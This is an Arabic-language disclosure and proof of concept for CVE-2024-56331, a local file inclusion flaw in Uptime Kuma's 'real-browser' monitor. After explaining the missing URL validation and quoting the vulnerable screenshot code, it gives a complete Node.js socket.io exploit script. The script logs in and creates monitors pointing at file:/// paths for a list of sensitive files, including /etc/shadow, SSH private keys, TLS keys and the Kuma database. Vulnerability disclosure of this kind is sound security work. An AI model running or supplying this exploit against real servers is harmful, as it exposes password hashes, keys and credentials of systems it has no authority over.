
إثبات المفهوم لاستغلال CVE-2024-56331، الذي يوضح تضمين الملفات المحلية (Local File Inclusion) في Uptime Kuma عبر معالجة غير صحيحة لعناوين URL في مراقب المتصفح الحقيقي. يستخدم بروتوكول file:/// لالتقاط لقطات شاشة لملفات الخادم الحساسة.
Real-Browserتسمح ثغرة معالجة عناوين URL غير الصحيحة لمهاجم بالوصول إلى ملفات محلية حساسة على الخادم من خلال استغلال بروتوكول file:///. يتم تشغيل هذه الثغرة عبر نوع الطلب "real-browser"، الذي يلتقط لقطة شاشة لعنوان URL الذي يوفره المهاجم. من خلال توفير مسارات ملفات محلية، مثل file:///etc/passwd، يمكن للمهاجم قراءة بيانات حساسة من الخادم.
تنشأ الثغرة لأن النظام لا يقوم بالتحقق أو التعقيم السليم لإدخال المستخدم في حقل عنوان URL. على وجه التحديد:
يسمح إدخال عنوان URL (<input data-v-5f5c86d7="" id="url" type="url" class="form-control" pattern="https?://.+" required="">) للمستخدمين بإدخال مسارات ملفات عشوائية، بما في ذلك تلك التي تستخدم بروتوكول file:///، دون تحقق من جانب الخادم.
ثم يستخدم الخادم عنوان URL الذي قدمه المستخدم لإجراء طلب، ويمرره إلى مثيل متصفح يقوم بتنفيذ طلب "real-browser" الذي يلتقط لقطة شاشة للمحتوى في عنوان URL المحدد. إذا تم إدخال مسار ملف محلي (مثل file:///etc/passwd)، يقوم المتصفح بجلب محتوى الملف والتقاطه.
const browser = await getBrowser();
const context = await browser.newContext();
const page = await context.newPage();
const res = await page.goto(monitor.url, {
waitUntil: "networkidle",
timeout: monitor.interval * 1000 * 0.8,
});
let filename = jwt.sign(monitor.id, server.jwtSecret) + ".png";
await page.screenshot({
path: path.join(Database.screenshotDir, filename),
});
await context.close();
نظرًا لعدم التحقق من إدخال المستخدم، يمكن للمهاجم التلاعب بعنوان URL لطلب ملفات محلية (مثل file:///etc/passwd)، وسيقوم النظام بالتقاط لقطة شاشة لمحتوى الملف، مما قد يؤدي إلى كشف بيانات حساسة.
view-source:file:///etc/passwd.مثال على إثبات المفهوم:
const { io } = require("socket.io-client");
// إعدادات الخادم وبيانات الاعتماد
const CONFIG = {
serverUrl: "ws://localhost:3001",
credentials: {
username: "admin",
password: "password1"
},
requestType: {
REAL_BROWSER: "real-browser",
HTTP: "http"
},
urlHeader: {
VIEW_SOURCE: "view-source:file:///",
FILE: "file:///"
}
};
// قائمة بالملفات الحساسة في نظام Linux
const SENSITIVE_FILES = [
"/etc/passwd",
"/etc/shadow",
"/etc/hosts",
"/etc/hostname",
"/etc/network/interfaces", // قد يختلف حسب التوزيعة
"/etc/ssh/ssh_config",
"/etc/ssh/sshd_config",
"~/.ssh/authorized_keys",
"~/.ssh/id_rsa",
"/etc/ssl/private/*.key",
"/etc/ssl/certs/*.crt",
"/app/data/kuma.db", // ملف قاعدة بيانات Uptime Kuma
"/app/data/config.json" // ملف تكوين Uptime Kuma
];
// دالة لإرسال طلب وانتظار الرد
function sendRequest(socket, filePath, type) {
return new Promise((resolve, reject) => {
fileUrl = CONFIG.urlHeader.VIEW_SOURCE + filePath;
if (type == CONFIG.requestType.HTTP) {
fileUrl = CONFIG.urlHeader.FILE + filePath;
}
socket.emit("add", {
type: type,
name: type + " " + filePath,
url: fileUrl,
method: "GET",
maxretries: 0,
timeout: 500,
notificationIDList: {},
ignoreTls: true,
upsideDown: false,
accepted_statuscodes: ["200-299"]
}, (res) => {
console.log(`Response for file ${filePath}:`, res);
resolve();
});
});
}
// الدالة الرئيسية للاتصال وإرسال طلب 'add'
(async () => {
const socket = io(CONFIG.serverUrl);
// معالجة أخطاء الاتصال
socket.on("connect_error", (err) => {
console.error("Connection failed:", err.message);
});
try {
// الاتصال ببيانات الاعتماد
await new Promise((resolve, reject) => {
socket.emit("login", {
username: CONFIG.credentials.username,
password: CONFIG.credentials.password,
token: ""
}, (res) => {
if (res.ok) {
console.log("Connection successful");
resolve();
} else {
console.log(res);
reject(new Error("Connection failed"));
}
});
});
// إرسال الطلبات لكل ملف باستخدام Promise.all لضمان التزامن
const realBrowserRequests = SENSITIVE_FILES.map(filePath => sendRequest(socket, filePath, CONFIG.requestType.REAL_BROWSER));
// انتظار إرسال جميع الطلبات
await Promise.all([...realBrowserRequests]);
// إغلاق المقبس بعد إرسال جميع الطلبات
socket.close();
console.log("Connection closed after all requests.");
} catch (error) {
console.error("Error:", error.message);
socket.close();
}
})();
هذه الثغرة هي مشكلة تضمين الملفات المحلية (LFI)، والتي تسمح للمهاجم بالوصول إلى الملفات الحساسة من الخادم وربما تسريبها. التأثير كبير، حيث يمكن للمهاجمين الوصول إلى ملفات النظام الهامة أو ملفات تكوين التطبيق، مثل:
/etc/passwd: يحتوي على معلومات حسابات المستخدمين./etc/shadow: يحتوي على تجزئات كلمات المرور./app/data/kuma.db: يحتوي على قاعدة بيانات أداة مراقبة Uptime Kuma./app/data/config.json: يحتوي على بيانات اعتماد قاعدة بيانات Uptime Kuma.أي مستخدم مُصادق عليه يمكنه إرسال عنوان URL في وضع "real-browser" يكون معرضًا لخطر كشف بيانات حساسة من خلال لقطات شاشة لهذه الملفات.